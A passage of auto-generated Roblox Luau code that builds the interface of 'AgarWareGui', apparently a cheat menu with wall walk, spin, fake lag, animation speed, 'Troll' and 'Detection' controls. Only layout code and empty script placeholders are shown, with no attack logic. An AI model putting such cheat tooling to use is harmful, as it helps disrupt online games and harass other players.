G2L["10a"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10a"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["10a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10a"]["ScrollBarThickness"] = 0;
G2L["10a"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide
G2L["10b"] = Instance.new("Frame", G2L["10a"]);
G2L["10b"]["BorderSizePixel"] = 0;
G2L["10b"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["10b"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["10b"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["10b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10b"]["Name"] = [[MiscLeftSide]];
G2L["10b"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.UIListLayout
G2L["10c"] = Instance.new("UIListLayout", G2L["10b"]);
G2L["10c"]["Padding"] = UDim.new(0, 7);
G2L["10c"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group
G2L["10d"] = Instance.new("Frame", G2L["10b"]);
G2L["10d"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["10d"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["10d"]["Size"] = UDim2.new(0, 170, 0, 103);
G2L["10d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["10d"]["Name"] = [[Misc1Group]];
G2L["10d"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Script
G2L["10e"] = Instance.new("LocalScript", G2L["10d"]);
G2L["10e"]["Name"] = [[Misc1Script]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.UIListLayout
G2L["10f"] = Instance.new("UIListLayout", G2L["10d"]);
G2L["10f"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.MiscAccentColor
G2L["110"] = Instance.new("Frame", G2L["10d"]);
G2L["110"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["110"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["110"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["110"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["110"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["110"]["Name"] = [[MiscAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Title
G2L["111"] = Instance.new("TextLabel", G2L["10d"]);
G2L["111"]["TextWrapped"] = true;
G2L["111"]["BorderSizePixel"] = 0;
G2L["111"]["TextSize"] = 14;
G2L["111"]["TextScaled"] = true;
G2L["111"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["111"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["111"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["111"]["BackgroundTransparency"] = 0.95;
G2L["111"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["111"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["111"]["Text"] = [[Misc]];
G2L["111"]["LayoutOrder"] = 1;
G2L["111"]["Name"] = [[Misc1Title]];
G2L["111"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Title.Misc1Minimize
G2L["112"] = Instance.new("TextButton", G2L["111"]);
G2L["112"]["BorderSizePixel"] = 0;
G2L["112"]["TextSize"] = 14;
G2L["112"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["112"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["112"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["112"]["BackgroundTransparency"] = 1;
G2L["112"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["112"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["112"]["Text"] = [[-]];
G2L["112"]["Name"] = [[Misc1Minimize]];
G2L["112"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow
G2L["113"] = Instance.new("Frame", G2L["10d"]);
G2L["113"]["BorderSizePixel"] = 0;
G2L["113"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["113"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["113"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["113"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["113"]["Name"] = [[WWalkRow]];
G2L["113"]["LayoutOrder"] = 2;
G2L["113"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkScript
G2L["114"] = Instance.new("LocalScript", G2L["113"]);
G2L["114"]["Name"] = [[WWalkScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkButton
G2L["115"] = Instance.new("TextButton", G2L["113"]);
G2L["115"]["TextSize"] = 14;
G2L["115"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["115"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["115"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["115"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["115"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["115"]["Text"] = [[Execute Wall Walk]];
G2L["115"]["Name"] = [[WWalkButton]];
G2L["115"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkHelp
G2L["116"] = Instance.new("TextButton", G2L["113"]);
G2L["116"]["TextSize"] = 14;
G2L["116"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["116"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["116"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["116"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["116"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["116"]["Text"] = [[?]];
G2L["116"]["Name"] = [[WWalkHelp]];
G2L["116"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow
G2L["117"] = Instance.new("Frame", G2L["10d"]);
G2L["117"]["BorderSizePixel"] = 0;
G2L["117"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["117"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["117"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["117"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["117"]["Name"] = [[SpinRow]];
G2L["117"]["LayoutOrder"] = 2;
G2L["117"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinScript
G2L["118"] = Instance.new("LocalScript", G2L["117"]);
G2L["118"]["Name"] = [[SpinScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinTickBox
G2L["119"] = Instance.new("TextButton", G2L["117"]);
G2L["119"]["TextSize"] = 14;
G2L["119"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["119"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["119"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["119"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["119"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["119"]["Text"] = [[]];
G2L["119"]["Name"] = [[SpinTickBox]];
G2L["119"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinText
G2L["11a"] = Instance.new("TextLabel", G2L["117"]);
G2L["11a"]["BorderSizePixel"] = 0;
G2L["11a"]["TextSize"] = 14;
G2L["11a"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["11a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11a"]["BackgroundTransparency"] = 1;
G2L["11a"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["11a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11a"]["Text"] = [[Spin]];
G2L["11a"]["Name"] = [[SpinText]];
G2L["11a"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinChanger
G2L["11b"] = Instance.new("TextBox", G2L["117"]);
G2L["11b"]["Name"] = [[SpinChanger]];
G2L["11b"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["11b"]["TextWrapped"] = true;
G2L["11b"]["TextSize"] = 14;
G2L["11b"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["11b"]["TextScaled"] = true;
G2L["11b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11b"]["PlaceholderText"] = [[(1)]];
G2L["11b"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["11b"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["11b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["11b"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow
G2L["11c"] = Instance.new("Frame", G2L["10d"]);
G2L["11c"]["BorderSizePixel"] = 0;
G2L["11c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11c"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["11c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["11c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11c"]["Name"] = [[FakeLagRow]];
G2L["11c"]["LayoutOrder"] = 2;
G2L["11c"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagScript
G2L["11d"] = Instance.new("LocalScript", G2L["11c"]);
G2L["11d"]["Name"] = [[FakeLagScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagTickBox
G2L["11e"] = Instance.new("TextButton", G2L["11c"]);
G2L["11e"]["TextSize"] = 14;
G2L["11e"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["11e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["11e"]["Text"] = [[]];
G2L["11e"]["Name"] = [[FakeLagTickBox]];
G2L["11e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagText
G2L["11f"] = Instance.new("TextLabel", G2L["11c"]);
G2L["11f"]["BorderSizePixel"] = 0;
G2L["11f"]["TextSize"] = 14;
G2L["11f"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["11f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11f"]["BackgroundTransparency"] = 1;
G2L["11f"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["11f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11f"]["Text"] = [[Fake Lag]];
G2L["11f"]["Name"] = [[FakeLagText]];
G2L["11f"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagChanger
G2L["120"] = Instance.new("TextBox", G2L["11c"]);
G2L["120"]["Name"] = [[FakeLagChanger]];
G2L["120"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["120"]["TextWrapped"] = true;
G2L["120"]["TextSize"] = 14;
G2L["120"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["120"]["TextScaled"] = true;
G2L["120"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["120"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["120"]["PlaceholderText"] = [[(1)]];
G2L["120"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["120"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["120"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["120"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow
G2L["121"] = Instance.new("Frame", G2L["10d"]);
G2L["121"]["BorderSizePixel"] = 0;
G2L["121"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["121"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["121"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["121"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["121"]["Name"] = [[AnimSpeedRow]];
G2L["121"]["LayoutOrder"] = 2;
G2L["121"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedScript
G2L["122"] = Instance.new("LocalScript", G2L["121"]);
G2L["122"]["Name"] = [[AnimSpeedScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedTickBox
G2L["123"] = Instance.new("TextButton", G2L["121"]);
G2L["123"]["TextSize"] = 14;
G2L["123"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["123"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["123"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["123"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["123"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["123"]["Text"] = [[]];
G2L["123"]["Name"] = [[AnimSpeedTickBox]];
G2L["123"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedText
G2L["124"] = Instance.new("TextLabel", G2L["121"]);
G2L["124"]["BorderSizePixel"] = 0;
G2L["124"]["TextSize"] = 14;
G2L["124"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["124"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["124"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["124"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["124"]["BackgroundTransparency"] = 1;
G2L["124"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["124"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["124"]["Text"] = [[Anim Speed]];
G2L["124"]["Name"] = [[AnimSpeedText]];
G2L["124"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedChanger
G2L["125"] = Instance.new("TextBox", G2L["121"]);
G2L["125"]["Name"] = [[AnimSpeedChanger]];
G2L["125"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["125"]["TextWrapped"] = true;
G2L["125"]["TextSize"] = 14;
G2L["125"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["125"]["TextScaled"] = true;
G2L["125"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["125"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["125"]["PlaceholderText"] = [[(1)]];
G2L["125"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["125"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["125"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["125"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscRightSide
G2L["126"] = Instance.new("Frame", G2L["10a"]);
G2L["126"]["BorderSizePixel"] = 0;
G2L["126"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["126"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["126"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["126"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["126"]["Name"] = [[MiscRightSide]];
G2L["126"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscRightSide.UIListLayout
G2L["127"] = Instance.new("UIListLayout", G2L["126"]);
G2L["127"]["Padding"] = UDim.new(0, 7);
G2L["127"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar
G2L["128"] = Instance.new("Frame", G2L["17"]);
G2L["128"]["Visible"] = false;
G2L["128"]["BorderSizePixel"] = 0;
G2L["128"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["128"]["Size"] = UDim2.new(0, 365, 0, 25);
G2L["128"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["128"]["Name"] = [[TCOSideBar]];
G2L["128"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.MainTCOPG
G2L["129"] = Instance.new("TextButton", G2L["128"]);
G2L["129"]["TextWrapped"] = true;
G2L["129"]["TextSize"] = 12;
G2L["129"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["129"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["129"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["129"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["129"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["129"]["Text"] = [[Main]];
G2L["129"]["Name"] = [[MainTCOPG]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.UIListLayout
G2L["12a"] = Instance.new("UIListLayout", G2L["128"]);
G2L["12a"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
G2L["12a"]["FillDirection"] = Enum.FillDirection.Horizontal;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.MiscTCOPG
G2L["12b"] = Instance.new("TextButton", G2L["128"]);
G2L["12b"]["TextWrapped"] = true;
G2L["12b"]["TextSize"] = 12;
G2L["12b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12b"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["12b"]["LayoutOrder"] = 10;
G2L["12b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["12b"]["Text"] = [[Misc]];
G2L["12b"]["Name"] = [[MiscTCOPG]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.TrollTCOPG
G2L["12c"] = Instance.new("TextButton", G2L["128"]);
G2L["12c"]["TextWrapped"] = true;
G2L["12c"]["TextSize"] = 12;
G2L["12c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12c"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["12c"]["LayoutOrder"] = 1;
G2L["12c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["12c"]["Text"] = [[Troll]];
G2L["12c"]["Name"] = [[TrollTCOPG]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.DetectionTCOPG
G2L["12d"] = Instance.new("TextButton", G2L["128"]);
G2L["12d"]["TextWrapped"] = true;
G2L["12d"]["TextSize"] = 12;
G2L["12d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12d"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["12d"]["LayoutOrder"] = 2;
G2L["12d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["12d"]["Text"] = [[Detection]];
G2L["12d"]["Name"] = [[DetectionTCOPG]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage
G2L["12e"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["12e"]["Visible"] = false;
G2L["12e"]["Active"] = true;
G2L["12e"]["BorderSizePixel"] = 0;
G2L["12e"]["Name"] = [[TCOTrollPage]];
G2L["12e"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["12e"]["Size"] = UDim2.new(0, 349, 0, 233);
G2L["12e"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12e"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0);
G2L["12e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12e"]["ScrollBarThickness"] = 0;
G2L["12e"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide
G2L["12f"] = Instance.new("Frame", G2L["12e"]);
G2L["12f"]["BorderSizePixel"] = 0;
G2L["12f"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["12f"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["12f"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["12f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12f"]["Name"] = [[TCOTrollRightSide]];
G2L["12f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.UIListLayout
G2L["130"] = Instance.new("UIListLayout", G2L["12f"]);
G2L["130"]["Padding"] = UDim.new(0, 7);
G2L["130"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup
G2L["131"] = Instance.new("Frame", G2L["12f"]);
G2L["131"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["131"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["131"]["Size"] = UDim2.new(0, 170, 0, 285);
G2L["131"]["Position"] = UDim2.new(0, 0, -0, 0);
G2L["131"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["131"]["Name"] = [[RepGroup]];
G2L["131"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepScript
G2L["132"] = Instance.new("LocalScript", G2L["131"]);
G2L["132"]["Name"] = [[RepScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTooltip
G2L["133"] = Instance.new("LocalScript", G2L["131"]);
G2L["133"]["Name"] = [[RepTooltip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UIListLayout
G2L["134"] = Instance.new("UIListLayout", G2L["131"]);
G2L["134"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepAccentColor
G2L["135"] = Instance.new("Frame", G2L["131"]);
G2L["135"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["135"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["135"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["135"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["135"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["135"]["Name"] = [[RepAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTitle
G2L["136"] = Instance.new("TextLabel", G2L["131"]);
G2L["136"]["TextWrapped"] = true;
G2L["136"]["BorderSizePixel"] = 0;
G2L["136"]["TextSize"] = 14;
G2L["136"]["TextScaled"] = true;
G2L["136"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["136"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["136"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["136"]["BackgroundTransparency"] = 0.95;
G2L["136"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["136"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["136"]["Text"] = [[RepStorage Brick]];
G2L["136"]["LayoutOrder"] = 1;
G2L["136"]["Name"] = [[RepTitle]];
G2L["136"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTitle.RepMinimize
G2L["137"] = Instance.new("TextButton", G2L["136"]);
G2L["137"]["BorderSizePixel"] = 0;
G2L["137"]["TextSize"] = 14;
G2L["137"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["137"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["137"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["137"]["BackgroundTransparency"] = 1;
G2L["137"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["137"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["137"]["Text"] = [[-]];
G2L["137"]["Name"] = [[RepMinimize]];
G2L["137"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow
G2L["138"] = Instance.new("Frame", G2L["131"]);
G2L["138"]["BorderSizePixel"] = 0;
G2L["138"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["138"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["138"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["138"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["138"]["Name"] = [[BKitFixRow]];
G2L["138"]["LayoutOrder"] = 4;
G2L["138"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixScript
G2L["139"] = Instance.new("LocalScript", G2L["138"]);
G2L["139"]["Name"] = [[BKitFixScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixButton
G2L["13a"] = Instance.new("TextButton", G2L["138"]);
G2L["13a"]["TextSize"] = 14;
